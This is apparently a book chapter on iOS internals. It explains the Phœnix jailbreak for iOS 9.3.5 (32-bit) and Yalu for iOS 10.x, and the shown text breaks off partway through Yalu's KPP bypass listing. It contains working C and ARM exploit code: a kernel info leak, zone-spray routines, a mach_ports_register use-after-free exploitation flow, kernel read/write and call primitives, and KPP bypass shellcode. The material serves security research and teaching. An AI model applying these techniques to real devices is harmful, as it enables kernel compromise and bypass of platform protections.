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Phœnix
August 2017 saw a remarkable birth - that of Phœnix. After years in which jailbreaks have

given up on 32-bit versions, the jailbreak called Phœnix once again provided a means for older
device owners to jailbreak, albeit in a semi-untethered manner (due to lack of a codesigning
bypass).

The initiative to the
jailbreak can be traced to
Stefan Esser, who boasted of its
ease and even raised a
kickstarter campaign for an
online training course with a
goal of 111,111 Euro. One of
the promised deliverables was
such a jailbreak, contingent on
the "all-or-nothing" nature of
crowdsourcing. This galvanized
the jailbreaking community
across the world. When it quickly became clear this campaign was doomed to fail and Esser's
jailbreak would be just another one of many promised projects to never see the light of day,
several teams took to the task of creating and releasing the jailbreak. @tihmstar (author of
Prometheus, discussed in Volume II) and @S1guza (author of Cl0ver and NewOSXBook.com
forum administrator) - rose to the challenge of ensuring the jailbreak would reach the world with
or without Esser's training.

iOS 9.3.5 marked an end-of-line, with Apple promptly fixing the Pegasus bugs, but not
bothering with any others. But Apple also arbitrarily discontinued support for 4S devices in 10.x,
thereby leaving the 9.3.5 signing window open. This gave the dynamic duo a safe testing
ground, as well as enabled all 4S owners to simply upgrade to latest supported version, in order
to enable the jailbreak. As with all jailbreaks as of 9.2, this is a "semi-untethered", requiring a
code signed .ipa to be installed, since code signing cannot (at the moment) be defeated.

* - This chapter is numbered 22½ because the jailbreak is chronologically later than other versions, but earlier in
terms of its target iOS version. In an effort not to break compatibility with earlier versions of this work, the
subsequent chapters have not been renumbered



 

The Info Leak

The kernel info leak is so embarrassing and straightforward to exploit - even from a
sandboxed context, that it's easiest to start the explanation with the exploit code:

Figure 22a-1: The kernel info leak used by Phœnix

vm_address_t leak_kernel_base() 
{
    kern_return_t kr, result; 
    io_connect_t conn = 0;
    
   // I use AppleJPEGDriver because we want a sandbox-reachable driver for properties.
   // Siguza and Tihmstar use the despicable AMFI, but it's not important.

    CFMutableDictionaryRef matching = IOServiceMatching("AppleJPEGDriver");
    io_service_t ioservice = IOServiceGetMatchingService(kIOMasterPortDefault, 
        matching);
    if (ioservice == 0) return 0;
    
    #define PROP_NAME "1234"
    char prop_str[1024] = "<dict><key>" PROP_NAME "</key>"
  "<integer size=\"1024\">08022017</integer></dict>";

    kr = io_service_open_extended(ioservice, mach_task_self(), 0, NDR_record,
                           prop_str, strlen(prop_str)+1, &result, &result;conn);
    
    vm_address_t guess_base = 0;
    io_iterator_t iter;
    kr = IORegistryEntryCreateIterator(ioservice, 
          "IOService", 
          kIORegistryIterateRecursively, &result;iter);
    if (kr != KERN_SUCCESS) { return 0; }
    
    io_object_t object = IOIteratorNext(iter);
    while (object != 0)
    {
        char out_buf[4096] = {0};
        uint32_t buf_size = sizeof(out_buf);
        
        kr = IORegistryEntryGetProperty(object, PROP_NAME, out_buf, &buf_size);
        if (kr == 0)
        {
          vm_address_t temp_addr = *(vm_address_t *)&out_buf[9*sizeof(vm_address_t)];

          // The slide value is a multiple of 1MB (0x100000), so we mask by this, and 
   // adjust by one page (0x1000), owing to 9.3.5 kernels starting at 0x80001000
          guess_base = (temp_addr & 0xfff00000) + 0x1000;
       IOObjectRelease(iter); 
    IOServiceClose(conn);
   return guess_base;
        }
        IOObjectRelease(object);
        object = IOIteratorNext(iter);
    }

    IOObjectRelease(iter); 
    IOServiceClose(conn);

    // We won't get here, but if we did, something failed.
    return 0;
}



 

All the code in the Listing does is to create a property using an XML dict, passed to
io_service_open_extended, and then request that property back. Neither the property
name nor its value matters. When the property buffer is populated, it returns the value set (in
the example, 8022017 or 0x7a6801), but further leaks plenty of stack bytes. The stack structure
is entirely deterministic, and leaks (among other things) an address from the kernel
__TEXT.__text, as shown in Output 22a-2:

Output 22a-2: The contents of the property buffer leaked

     Run 1     |     Run 2    |    Run 3
0: 0x7a6801    |  0x7a6801    |  0x7a6801             =  8022017  # (our value)
1: 0x0         |  0x0         |  0x0                  
2: 0x9f942eb0  |  0x9e0f7db0  |  0x91fb3ab0
3: 0x4         |  0x4         |  0x4
4: 0x9f942eb8  |  0x9e0f7db8  |  0x91fb3ab8                       # zone leak
5: 0x80b2957c  |  0x81baa57c  |  0xc3f3d57c
6: 0x9c54baa0  |  0xb1b93c20  |  0x8837ee60
7: 0x80b295a0  |  0x81baa5a0  |  0xc3f3d5a0
8: 0x80103e30  |  0x8f4cbe30  |  0xf03b3e30           
9: 0x94ea73cb  |  0x970a73cb  |  0x818a73cb           = 0x800a73cb # text leak
               |              |
=: 0x94e01000  |  0x97001000  |  
   0x14e00000  |  0x17000000  | 

Unlike the other values, the one at offset 9(* sizeof(void *)) is clearly a slid address
(as its last five hex digits are always same). Figuring out the kernel base then becomes as simple
as applying a bitmask over it and adding 0x1000 (because the unslid kernel starts at
0x80001000), with the difference between the two values giving us the slide.

As a bonus, several other addresses in the returned buffer provide us with leaks from
various kernel zones. Note in particular the value at offset 4(* sizeof(void *)). When the
attribute length is 128 bytes, the value leaks a pointer from kalloc.384.



 

Experiment: Figuring out what the leaked kernel address is

As shown in Output xx-pleak, we ended up with the kernel address of 0x800a73cb,
adjusted by the randomly determined kernel slide. As far as the jailbreak is considered, that's
all that matters. But you might be interested in what the address is. There are several ways
to determine that.

Grabbing the iPhone 4S decryption keys for 9.3.5 from the iPhone Wiki will enable you
to decrypt the kernel from the stock IPSW. Proceeding to disassemble it with jtool or some
other disassembler, you'll see:

Listing 22a-3: The disassembly of the function containing the leaked kernel address

0x800a7318   PUSH    {R4-R7,LR}
..
...
0x800a732E   ADD     R11, PC ; _kdebug_enable
0x800a7330   LDRB.W  R0, [R11]
0x800a7334   TST.W   R0, #5
0x800a7338   BNE     0x800a73F0
...
0x800a738A   ADD     R0, PC    ; _NDR_record
..
0x800a73C4   ADDS    R2, R6, #4
0x800a73C6   BL      func_8036ef44
0x800a73CA   MOV     R2, R5
..
0x800a7408   MOV     R0, #0xFF002bF1 
0x800a7410   MOVS    R1, #0  
0x800a7412   BL      _kernel_debug
0x800a7416   B       0x800a733a

The address leaked (0x800a73cb) actually refers to 0x800a73ca, but is +1 so as to
mark it as a THUMB instruction. It immediately follows a BL, which means it is a return
address - that makes sense, because we found it on the kernel stack. But there is still the
matter of which function we are dealing with. The containing function (starting at
0x800a7318), provides us with a dead giveaway - a reference to _NDR_record.

As discussed in I/10, _NDR_record is the unmistakenable mark of MIG - that Mach
Interface Generator. Among its many other boilerplate patterns, MIG embeds its dispatch
tables in the Mach-O __DATA[_CONST].__const section, which makes them easily
recognizable and reversible. Indeed, using joker we have:

Output 22a-4: Resolving a kernel MIG function using joker

morpheus@Zephyr (~)$ joker -m kernel.9.3.5.4S  | grep a731
        __Xio_registry_entry_get_property_bytes: 0x800a7319 (2812)

Giving us the MIG wrapper to io_registry_entry_get_property_bytes - which,
again, makes perfect sense - as we were in the process of getting a property.

The astute reader may have also picked up a second clear indication - the use of
kdebug. As discussed in I/14, virtually every operation the kernel performs involves a check
if the kdebug facility is enabled, and (if so) a call to kernel_debug, with a 32-bit code.
Apple provides a partial listing of these codes in /usr/share/misc/trace.codes, and so:

Output 22a-5: Resolving a kdebug code

# Look for ...b0 rather than ..b1 since '1' is for a function start code and the
# trace.codes only list base codes
morpheus@Zepyhr (~)$ cat /usr/share/misc/trace.codes | grep ff002b0
0xff002bf0 MSG_io_registry_entry_get_property_bytes



 

Zone grooming

As you've seen with the other jailbreaks discussed so far, manipulating kernel memory for
an exploit requires a combination of delicate Feng Shui to enhance the flow of jailbreak qi,
combined with careful spraying of user controlled buffers. Phœnix is no different, and relies on
sprays of several types:

1. Data spray: by crafting an OSDictionary, with a "key", and with the sprayed data as a
kOSSerializeArray of kOSSerializeData values. This looks something along the
code in Listing 22a-6:

Listing 22a-6: The data spray technique used by Phœnix

static kern_return_t spray_data(const void *mem, size_t size, 
    size_t num, mach_port_t *port) {
    ...
    uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 };
    size_t idx = 0;
   
    PUSH(kOSSerializeMagic);
    PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
    PUSH(kOSSerializeSymbol | 4);
    PUSH(0x0079656b); // "key"
    PUSH(kOSSerializeEndCollection | kOSSerializeArray |  (uint32_t)num);

    for (size_t i = 0; i < num; ++i)
    {
        PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) |
       kOSSerializeData | SIZEOF_BYTES_MSG);
        if(mem && size) { memcpy(&dict[idx], mem, size); }

        memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size);
        idx += SIZEOF_BYTES_MSG / 4;
    }
   
    ret = io_service_add_notification_ool(gIOMasterPort,
   "IOServiceTerminate", 
  (char*)dict, idx * sizeof(uint32_t), 
  MACH_PORT_NULL, NULL, 0, &err, port);
  }
   return (ret);
}

The choice of io_service_add_notification_ool ensures the eventual call to
OSUnserializeBinary. Additionally, the returned port (in the last argument, by
reference) can be destroyed by the exploit at any time, which will result in the dictionary
being freed.

2. Pointer spray: once again using the crafted OSDictionary technique with the
kOSSerializeArray, embedding the pointer twice in every kOSSerializeData value.

3. Port spray: by setting up an arbitrary port (with a RECEIVE right), and then allocating
the desired number of ports, and sending them in a message (to the arbitrary port) using
OOL port descriptors. This ensures the ports will be copied in kernel space and will remain
there (with their pointers) until the message is received. Using this technique, kalloc.8
(where the pointers are) can be shaped.

One last ingredient is required - a kernel vulnerability which will enable repurposing the
sprayed memory regions so they can lead to the exploit. That's where mach_ports_register
comes into play.



 

mach_ports_register

Noted security researcher Ian Beer posted a detailed description[1] of the
mach_ports_register MIG call back in July 2016. Through careful scrutiny, Beer has
discovered that the the code incorrectly uses an additional argument (portsCnt), though it is
not necessary. This is clearly evident in the open sources:

Listing 22a-7:: The code of mach_ports_register (from XNU-3248.60's osfmk/kern/ipc_tt.c)

kern_return_t mach_ports_register(
 task_t      task,
 mach_port_array_t memory,         
 mach_msg_type_number_t  portsCnt) 
  {
    ipc_port_t ports[TASK_PORT_REGISTER_MAX];
    unsigned int i;

    // The sanity checks mandate an actual task, and that the argument portsCnt be 
    // greater than 0 (not NULL) and less than 3 (TASK_PORT_REGISTER_MASK)
    if ((task == TASK_NULL) ||
        (portsCnt > TASK_PORT_REGISTER_MAX) ||
        (portsCnt && memory == NULL))
      return KERN_INVALID_ARGUMENT;             

    // The caller controls portsCnt, so this loop could be made
    // to read arbitrary memory due to an out of bounds condition
    for (i = 0; i < portsCnt; i++)
      ports[i] = memory[i];                        

    // This nullifies remanining ports, but irrelevant since portsCnt is controlled
    for (; i < TASK_PORT_REGISTER_MAX; i++)
      ports[i] = IP_NULL;

    itk_lock(task);
    if (task->itk_self == IP_NULL) {
      itk_unlock(task);
      return KERN_INVALID_ARGUMENT;
    }

    for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
      ipc_port_t old;

      old = task->itk_registered[i];
      task->itk_registered[i] = ports[i];
      ports[i] = old;
    }
    itk_unlock(task);

    // So long as the port is valid, this will decrement the send refs by one
    for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
      if (IP_VALID(ports[i]))
        ipc_port_release_send(ports[i]);       

    // remember portsCnt is controlled by user
    if (portsCnt != 0)
      kfree(memory,
            (vm_size_t) (portsCnt * sizeof(mach_port_t)));  

    return KERN_SUCCESS;
  }

The user mode call to this code is automatically generated by the Mach Interface Generator
(MIG, q.v. I/10), which takes care of properly initializing the portsCnt variable so that it
matches the length of the OOL ports descriptor sent in the message. But MIG can easily be
bypassed, and its code tweaked to deliberately mismatch the two values. The sanity checks
restrict the value of portsCnt to be between 1 and 3 - but that still allows for an out of bounds
condition, wherein extra port elements in kernel memory can be read - and then dereferenced -
leading to a Use After Free (UaF) bug.

https://bugs.chromium.org/p/project-zero/issues/detail?id=882


 

Putting it all together - a Phœnix rises!

With all the ingredients in place, the exploit proceeds as shown in Figure 22a-8 (next page):

Set up a fake task port: The exploit begins by creating a fake ipc_port_t. This
technique, though controversial, has proven itself reliable in Yalu 10.2 as well. Unlike Yalu,
however, which targets 64-bit, the fake port has to be created in user space and then
injected into kernel space.

Prepare kalloc.384: The kalloc.384 zone is used in 32-bit for kmsg objects, which back
sufficiently small messages sent by mach_msg. The exploit sprays several empty
dictionary objects there using the spray_data construct described earlier. This returns
the associated notification port.

Leak the kernel stack: This will give us the kernel base (at index [9]), and also a zone
pointer (at index [4]). The zone pointer is of a recently used kmsg (associated with the
IORegistryEntryGetProperties call).

Spray the fake port data into kalloc.384: First, the previously sprayed data (from the
second step) is freed, by destroying the notification port. Then, the fake task port data
(created in the first step) is copied into the same zone using the same spray_data
technique. With high likelihood, the zone pointer leaked (at index [4]) now points to the
fake port.

Spray fake port pointer into kalloc.8: Pointer at hand, the exploit sprays it into
kalloc.8

Perform Zone Feng Shui: Allocating and freeing 1024 mach ports performs a Feng Shui of
the kalloc.8. This "pokes holes" in the zone, into which the fake port pointer is sprayed
again.

Trigger mach_ports_register, and get an ipc_port_t reference to the fake port.

Get fake port into user space: Calling mach_ports_lookup will create a mach_port_t
whose backing ipc_port_t is none other than the fake port.

Re-spray fake port: The offset of the kernel_task pointer is a priori known (by
analysing the decrypting kernel), and at this point so is the kernel base. But the exploit
needs the value referenced by the pointer (that is, the address of the kernel_task
itself). It therefore modifies the fake port structure so that its ip_kobject points to the
kernel_task, offset by 0x8 bytes. It then re-sprays it into kernel space.

Get kernel_task address: Calling pid_for_task on the fake port (which has been re-
sprayed in kernel memory but is still just as valid in user space) will then blindly follow the
ip_kobject, assuming it points to a task_t, calling get_bsdtask_info and looking
at offset 0x08. This technique (also used by Yalu 10.2 and shown in Listing 24-20-b) thus
turns pid_for_task into an arbitrary kernel memory read primitive, for four bytes -
which is the size of a pointer.

Re-spray fake port (2) to read kernel ipc_space_t: In a similar manner, pid_for_task
can be directed to return the ipc_space_t of the kernel.

Re-spray fake port (3) to get kernel_task: At this point, with both addresses, we can
reconfigure the fake port handle to be the kernel task. Kernel task obtained, we're done -
with no KPP to bypass, the standard set of patches can be applied, and the device can be
fully jailbroken.



 

Figure 22a-8: The flow of the Phœnix exploit



 

Apple Fixes

Apple assigned the mach_ports_register() bug CVE-2016-4669, and fixed it in iOS
10.1:

The Phœnix jailbreak could therefore, in principle, be extended to work on 32-bit versions of
10.0.1 and 10.0.2, but Apple sandboxed IOKit properties in iOS 10, making the info leak
unexploitable, and requiring a different vector. It should be noted, that the info leak itself wasn't
properly fixed until well into iOS 10.x (exact version unknown).
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1. Ian Beer (Project Zero) - "Multiple Memory Safety Issues in mach_ports_register" - 
https://bugs.chromium.org/p/project-zero/issues/detail?id=882

Special thanks to Siguza and tihmstar who both took the time to review the explanation of their
elegant exploit (and for going with such an awesome name and logo :-) 

This is a free update to Mac OS and iOS Internals, Volume III, expanded to
cover the Phœnix jailbreak. You may share this chapter freely, but please
keep it intact and - if citing - give credit where due. For questions or
comments, you are welcome to post to the NewOSXBook.com Forum, where

the author welcomes everyone. You might also find the trainings by
@Technologeeks interesting! 

(And Volume I is still on track - Late September 2017!)

https://bugs.chromium.org/p/project-zero/issues/detail?id=882
https://www.amazon.com/MacOS-iOS-Internals-III-Insecurity/dp/0991055535/ref=as_sl_pc_qf_sp_asin_til?tag=newosxbookcom-20&linkCode=w00&linkId=0b61c945365c9c37cd3cf88f10a5f629&creativeASIN=0991055535
http://newosxbook.com/forum
http://technologeeks.com/xOSSec
http://newosxbook.com/toc1.html


24

- @qwertyoruiop

 

Yalu (10.0-10.2)

 This is proof that exploitation is art.
 The art of sweet-talking state machines.
 The art of taking complicated things and simplifying them.
 The art of ignoring the bullshit.
 The art of evaluating reality.
 

Shortly after Ian Beer published mach_portal, Luca Todesco (@qwertyoruiopz) announced
on Twitter that he would be up to the task of converting it from a Proof-of-Concept into a full
fledged jailbreak. Indeed, a week later he released his Yalu jailbreak (named for the river
separating North Korea from China).

Kind hearted souls took to Twitter to discount Todesco's effort, but it was no mere feat:
Although Ian Beer provided the bug and exploit vector, he avoided any direct kernel patches, and
thus left out a most critical part - bypassing KPP. Beer's mach_portal only provided an
unsandboxed root shell, any child process of which would likewise be unsandboxed. For a full
jailbreak, however, system-wide changes would have to be applied, which would mean patching
the kernel code directly to disable code signing, the sandbox, and allow task_for_pid.

This chapter focuses, therefore, on Todesco's innovative KPP bypass. Though very likely
short lived (Apple cannot allow a bypass of one of their strongest mitigation techniques), the
KPP bypass not only showed Todesco's ability to "1-up" Apple's best defense, but also re-enabled
an (almost) full jailbreak experience, allowing the standard set of patches to be applied again.

Yalu has later been updated to support 10.2 (wherein the mach_portal bug has been
patched), by using a bug in mach_voucher_extract_attr_recipe_trap, discovered by Marco Grassi
and then burned by Ian Beer as CVE-2017-2370. The bug is discussed here as well, with two
different exploitation methods - Beer's, and Todesco's. Beer has released his PoC code as open
source[1], and Todesco has made Yalu fully open sourced[2] as well, which allows for a
comparison of the two approaches to exploiting the same bug.

https://bugs.chromium.org/p/project-zero/issues/attachment?aid=268352
https://github.com/kpwn/yalu102


 

Primitives

Unlike mach_portal, Yalu is a full fledged jailbreak - which means it needs to handle kernel
memory - for patching, and executing code in kernel mode, using three primitives:

[Read/Write]Anywhere64: These are simply wrappers over vm_read_overwrite
and vm_write, assuming at this point the kernel_task port has been obtained. The
Read primitive is shown in Listing 24-1:

Listing 24-1: The ReadAnywhere64 primitive

_ReadAnywhere64:
 uint64_t ReadAnywhere64(uint64_t Address) {
10000ed84    STP     X29, X30, [SP, #-16]!   ;
10000ed88    ADD     X29, SP, #0             ; R29 = SP + 0x0
10000ed8c    SUB     SP, SP, 32              ; SP -= 0x20 (stack frame)
10000ed90    ORR     X8, XZR, #0x8           ; R8 = 0x8 
10000ed94    ADD     X4, SP, #8              ; R4 = SP + 0x8   &valueRead
10000ed98    ADD     X3, SP, #16             ; R3 = SP + 0x10  &sizeRead
10000ed9c    ADRP    X9, 16                  ; R9 = 0x10001e000 
10000eda0    ADD     X9, X9, #432            ; X9 = 0x10001e1b0 _tfp0
10000eda4    STUR    X0, X29, #-8            ; Frame (0) -8 = X0 ARG0
 uint64_t valueRead = 0;
10000eda8    STR     XZR, [SP, #16]          ; *(SP + 0x10) = 
 uint32_t sizeRead = 8;
10000edac    STR     X8, [SP, #8]            ; *(SP + 0x8) = sizeRead = 8
 vm_read_overwrite(tfp0, Address, 8, (vm_offset_t)&valueRead, &sizeRead);
10000edb0    LDR     W0, [X9, #0]            ; -R0 = *(R9 + 0) = _tfp0
10000edb4    LDUR    X1, X29, #-8            ; R1 = *(SP + -8) = ARG0
10000edb8    MOV     X2, X8                  ; X2 = X8 = 0x8
10000edbc    BL      libSystem.B.dylib::_vm_read_overwrite   ; 0x100017fbc
 return (valueRead);
10000edc0    LDR     X8, [X31, #16]  ;--R8 = *(SP + 16) = 0x100000cfeedfacf ... (null)?..
10000edc4    STR     W0, [SP, #4]            ; *(SP + 0x4) = 
10000edc8    MOV     X0, X8          ; --X0 = X8 = 0x100000cfeedfacf
}
10000edcc    ADD     X31, X29, #0            ; SP = R29 + 0x0
10000edd0    LDP     X29, X30, [SP],#16      ;
10000edd4    RET                     ; 

FuncAnywhere32: to allow invocation of functions in kernel mode. Unlike the previous
primitives, this one is more complicated, and is performed over IOConnectTrap4, which
allows four arguments, and can be seen in the code as follows:

Listing 24-2: The FuncAnywhere32 primitive

_FuncAnywhere32:
uint32_t FuncAnywhere32 (uint64_t func, uint64_t arg_1, uint64_t arg_2, uint64_t arg_3) {
10000ed34    STP     X29, X30, [SP, #-16]!   ;
10000ed38    ADD     X29, SP, #0             ; $$ R29 = SP + 0x0
10000ed3c    SUB     SP, SP, 32              ; SP -= 0x20 (stack frame)
; X0 = IOConnectTrap4(_funcconn, 0, ARG2, ARG3, ARG1, addr);
10000ed40    MOVZ    W8, 0x0                 ; R8 = 0x0 
10000ed44    ADRP    X9, 16                  ; R9 = 0x10001e000 
10000ed48    ADD     X9, X9, #448            ; X9 = 0x10001e1c0 = _funcconn 
10000ed4c    STUR    X0, X29, #-8            ; Frame (0) -8 = func
10000ed50    STR     X1, [SP, #16]           ; *(SP + 0x10) = ARG1
10000ed54    STR     X2, [SP, #8]            ; *(SP + 0x8)  = ARG2
10000ed58    STR     X3, [SP, #0]            ; *(SP + 0x0)  = ARG3
10000ed5c    LDR     W0, [X9, #0]            ; R0 = *(R9 + 0) = _funcconn 0x0 ... ?..
10000ed60    LDR     X2, [X31, #8]           ; R2 = *(SP + 8) = ARG2
10000ed64    LDR     X3, [X31, #0]           ; R3 = *(SP + 0) = ARG3
10000ed68    LDR     X4, [X31, #16]          ; R4 = *(SP + 16) = ARG1
10000ed6c    LDUR    X5, X29, #-8            ; R5 = *(SP + -8) = func
10000ed70    MOV     X1, X8          ; X1 = X8 = 0x0
10000ed74    BL      IOKit::_IOConnectTrap4  ; 0x100017a64
; return (X0);
}
10000ed78    ADD     X31, X29, #0            ; SP = R29 + 0x0
10000ed7c    LDP     X29, X30, [SP],#16      ; 
10000ed80    RET   



 

The first two primitives are straightforward, given that the kernel_task (which otherwise
would have been obtained from task_for_pid(0)) has already been obtained from
successfully exploiting set_dp_control_port() (CVE-2016-7644) as with mach_portal.
But Beer's exploit did not involve kernel code execution, whereas Todesco's does. He seems to
be piggybacking over IOConnectTrap4, passing arguments in a slightly shuffled order. The
_funcconn is a global, and (as is required by IOConnectTrap() functions), expected to be
an io_service_t object. Further reversing shows that in _initexp (the initialization code),
the funcconn is initialized as follows:

Listing 24-3: Initializing the funcconn

_initexp:
10000f784    STP     X29, X30, [SP, #-16]!   ;
10000f788    ADD     X29, SP, #0       ; $$ R29 = SP + 0x0
10000f78c    SUB     SP, SP, 32              ; SP -= 0x20 (stack frame)
10000f790    ADRP    X8, 11                  ; R8 = 0x10001a000 
10000f794    ADD     X0, X8, #2443   "IOSurfaceRoot"; X0 = 0x10001a98b -|
10000f798    ADRP    X8, 13                  ; R8 = 0x10001c000 
10000f79c    LDR     X8, [X8, #160]  ; -R8 = *(R8 + 160) = .. *(0x10001c0a0, no sym) = -IOKit::_kIOMasterPortDefault-
10000f7a0    LDR     W9, [X8, #0]    ;       R9 = *(IOKit::_kIOMasterPortDefault)
10000f7a4    STUR    X9, X29, #-12           ; Frame (0) -12 = X9  0x0
10000f7a8    BL      IOKit::_IOServiceMatching       ; 0x100017a88
; R0 = IOKit::_IOServiceMatching("IOSurfaceRoot");
10000f7ac    SUB     X2, X29, #4       ; $$ R2 = SP - 0x4
10000f7b0    LDUR    X9, X29, #-12   ;--R9 = *(SP + -12) = 0x0 ... (null)?..
10000f7b4    STR     X0, [SP, #8]            ; *(SP + 0x8) = 
10000f7b8    MOV     X0, X9          ; --X0 = X9 = 0x0
10000f7bc    LDR     X1, [X31, #8]   ;--R1 = *(SP + 8) = 0x100000cfeedfacf ... (null)?..
; ... 
10000f7c0    BL      IOKit::_IOServiceGetMatchingServices    ; 0x100017a7c
10000f7c4    LDUR    X9, X29, #-4    ;--R9 = *(SP + -4) = 0x0 ... (null)?..
10000f7c8    STR     W0, [SP, #4]            ; *(SP + 0x4) = 
; iter = IOIteratorNext(...)
10000f7cc    MOV     X0, X9          ; --X0 = X9 = 0x0
10000f7d0    BL      IOKit::_IOIteratorNext  ; 0x100017a70
10000f7d4    MOVZ    W9, 0x0                 ; R9 = 0x0 
10000f7d8    ADRP    X8, 15                  ; R8 = 0x10001e000 
10000f7dc    ADD     X8, X8, #448    ; _funcconn; X8 = 0x10001e1c0 
10000f7e0    ADRP    X1, 13                  ; R1 = 0x10001c000 
10000f7e4    LDR     X1, [X1, #168]  ; -R1 = *(R1 + 168) = .. *(0x10001c0a8, no sym) = -libSystem.B.dylib::_mach_task_self_-
10000f7e8    STUR    X0, X29, #-8            ; Frame (0) -8 = X0  0x0
10000f7ec    STR     WZR, [X8, #0]           ; *0x10001e1c0 = 0x0
10000f7f0    LDUR    X0, X29, #-8    ;--R0 = *(SP + -8) = 0x0 ... (null)?..
10000f7f4    LDR     W1, [X1, #0]    ;       R1 = *(libSystem.B.dylib::_mach_task_self_)
10000f7f8    MOV     X2, X9          ; --X2 = X9 = 0x0
10000f7fc    MOV     X3, X8          ; --X3 = X8 = 0x10001e1c0
10000f800    BL      IOKit::_IOServiceOpen   ; 0x100017a94
;  R0 = IOKit::_IOServiceOpen(iter,mach_task_self(),0,_funcconn);
10000f804    ADRP    X8, 15                  ; R8 = 0x10001e000 
10000f808    ADD     X8, X8, #448    ; _funcconn; X8 = 0x10001e1c0 -|
10000f80c    LDR     W9, [X8, #0]    ; -R9 = *(R8 + 0) = _funcconn 0x0 ... ?..
10000f810    CMP     W9, #0          ;
10000f814    CSET    W9, NE      ; CSINC  W9, W31, W31, EQ    
10000f818    EOR     w9, w9, #0x1
10000f81c    AND     W9, W9, #0x1    ;
10000f820    MOV     X8, X9          ; --X8 = X9 = 0x0
10000f824    ASR     X8, X8, #0      ;
10000f828    STR     W0, [SP, #0]            ; *(SP + 0x0) = 
;  R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,_funcconn);
10000f82c    CBZ     X8, 0x10000f850 ;
; if (R8  != 0) 
;   libSystem.B.dylib::___assert_rtn("initexp", 
;      "/Users/qwertyoruiop/Desktop/yalurel/smokecrack/smokecrack/exploit.m", 
;      0x55, "funcconn"); 
...
10000f850    B       0x10000f854
10000f854    ADD     X31, X29, #0            ; SP = R29 + 0x0
10000f858    LDP     X29, X30, [SP],#16      ;
10000f85c    RET                     ;



 

Putting the two listings together, it becomes clear that the FuncAnywhere32 primitive uses
the IOSurface object's method #0, and - rather than its intended use - makes it jump to a
gadget. Note the shuffling of the other arguments, so by the time execution gets to the sixth
argument address (= the intended function to execute), they are in order. The gadget used is
mov x0, x3; br x4, which explains the ordering of the arguments, as shown in Figure 24-4:

Figure 24-4: The full FuncAnywhere32 primitive

Platform Detection

With so many i-Devices and iOS versions, each with subtle kernel differences, a jailbreak
needs to have a mechanism to either hardcoded offsets for all supported variants or figure them
out on the fly. Yalu uses a mix of the two approaches, by defining constants in a table, initialized
by constload() and accessed (by index) using constget(). The constants are "affined" by
using the IOSurface object vtable, in the affine_const_by_surfacevt function. An
example of this can be seen in b3:

   10000fcac    ORR     W0, WZR, #0x4           ; ->R0 = 0x4 
   10000fcb0    BL      _constget       ; 0x100017a14
   10000fcb4    CMP     X0, #0          ;
   10000fcb8    CSINC   W8, W31, W31, EQ        ;
   10000fcbc    EOR W8, W8, #0x1
   10000fcc0    AND     W8, W8, #0x1    ;
   10000fcc4    MOV     X0, X8          ; --X0 = X8 = 0x10001a000
   10000fcc8    ASR     X0, X0, #0      ;
; // if (_constget  == 0) then goto 0x10000fcf0
  10000fccc    CBZ     X0, 0x10000fcf0 ;
   10000fcd0    ADRP    X8, 11                  ; ->R8 = 0x10001a000 
   10000fcd4    ADD     X0, X8, #2615   "exploit"; X0 = 0x10001aa37 -|
   10000fcd8    ADRP    X8, 11                  ; ->R8 = 0x10001a000 
   10000fcdc    ADD     X1, X8, #2465   "/Users/qwertyoruiop/Desktop/yalurel/smokecrack/smokecrack/exploit.m"; X1 = 0x10001a9a1 -|
   10000fce0    MOVZ    W2, 0xb1                ; ->R2 = 0xb1 
   10000fce4    ADRP    X8, 11                  ; ->R8 = 0x10001a000 
   10000fce8    ADD     X3, X8, #2723   "G(KERNBASE)"; X3 = 0x10001aaa3 -|
 __assert_rtn("exploit", 
       "/Users/qwertyoruiop/Desktop/yalurel/smokecrack/smokecrack/exploit.m", 
       0xb1, "G(KERNBASE)");
10000fcec    BL      libSystem.B.dylib::___assert_rtn        ; 0x100017b78



 

KPP Bypass

As discussed in Chapter 13, KPP is run very early during iOS (and TvOS) boot, and - for lack
of a public boot-chain exploit - is an immutable fact. Code running in lower AArch64 Exception
Levels simply cannot access (much less modify) code or data in higher levels, and KPP runs at
the highest possible level, EL3. This means that any KPP bypass would have to rely on an
implementation (or better yet, design) flaw.

Throughout iOS9 KPP was invisible and imperceptible, by virtue of its EL3 execution and the
encryption applied to all boot components. The only painful effect was its triggered crahes with
their SErr codes (shown in Table 13-10). Fortunately, and for whatever reasons, Apple opened up
KPP, allowing it to be inspected - and for Luca Todesco to find a clever way around it.

Todesco made no attempt to obfuscate his jailbreak, which makes the KPP bypass extremely
easy to find using jtool or other disassemblers. The symbol in question is "kppsh0", and the
instructions can be seen in Listing 24-4:

Listing 24-5: The kppsh code (from mach_portal+Yalu b3)

; // function #239
_kppsh0:
 1000171d0  B     e0      ; 0x1000171dc
 1000171d4  B     _kppsh1 ; 0x100017208
 1000171d8  B     _amfi_shellcode ; 0x100017238
e0:
 1000171dc  SUB   X30, X30, X22     
 1000171e0  SUB   X0, X0, X22      
 1000171e4  LDR   X22, #132          ; X22 = *(100017268) = origgVirtBase
 1000171e8  ADD   X30, X30, X22      ; SP = SP + X22
 1000171ec  ADD   X8, X0, X22        ; X8 = X0 + X22
 1000171f0  LDR   X1, #136           ; X1 = *(100017278) = origvbar
 1000171f4  MSR   VBAR_EL1, X1       ; Vector Base Address Register = origvbar
 1000171f8  ADD   X8, X8, #24        ; X8 = (X0 + X22) + X24
 1000171fc  LDR   X0, #116           ; X0 = *(100017270) = ttbr0
 100017200  LDR   X1, #128           ; X1 = *(100017280) = ttbr1_fake
 100017204  BR    X8                 ;
; // function #240
_kppsh1:
 100017208  MRS   X1, TTBR1_EL1      ; Translation Table Base Register..
 10001720c  LDR   X0, #124           ; X0 = *(100017288) = ttbr1_orig
 100017210  MSR   TTBR1_EL1, X0      ; Translation Table Base Register..
 100017214  MOVZ  X0, 0x30, LSL #16  ; X0 = 0x300000 
 100017218  MSR   CPACR_EL1, X0      ; FPEN=3 (no traps) ; triggers KPP
 10001721c  MSR   TTBR1_EL1, X1      ; Translation Table Base Register..
 100017220  TLBI  VMALLE             ;
 100017224  ISB                      ;
 100017228  DSB   SY                 ; 
 10001722c  DSB   ISH                ;
 100017230  ISB                      ;
 100017234  RET                      ;

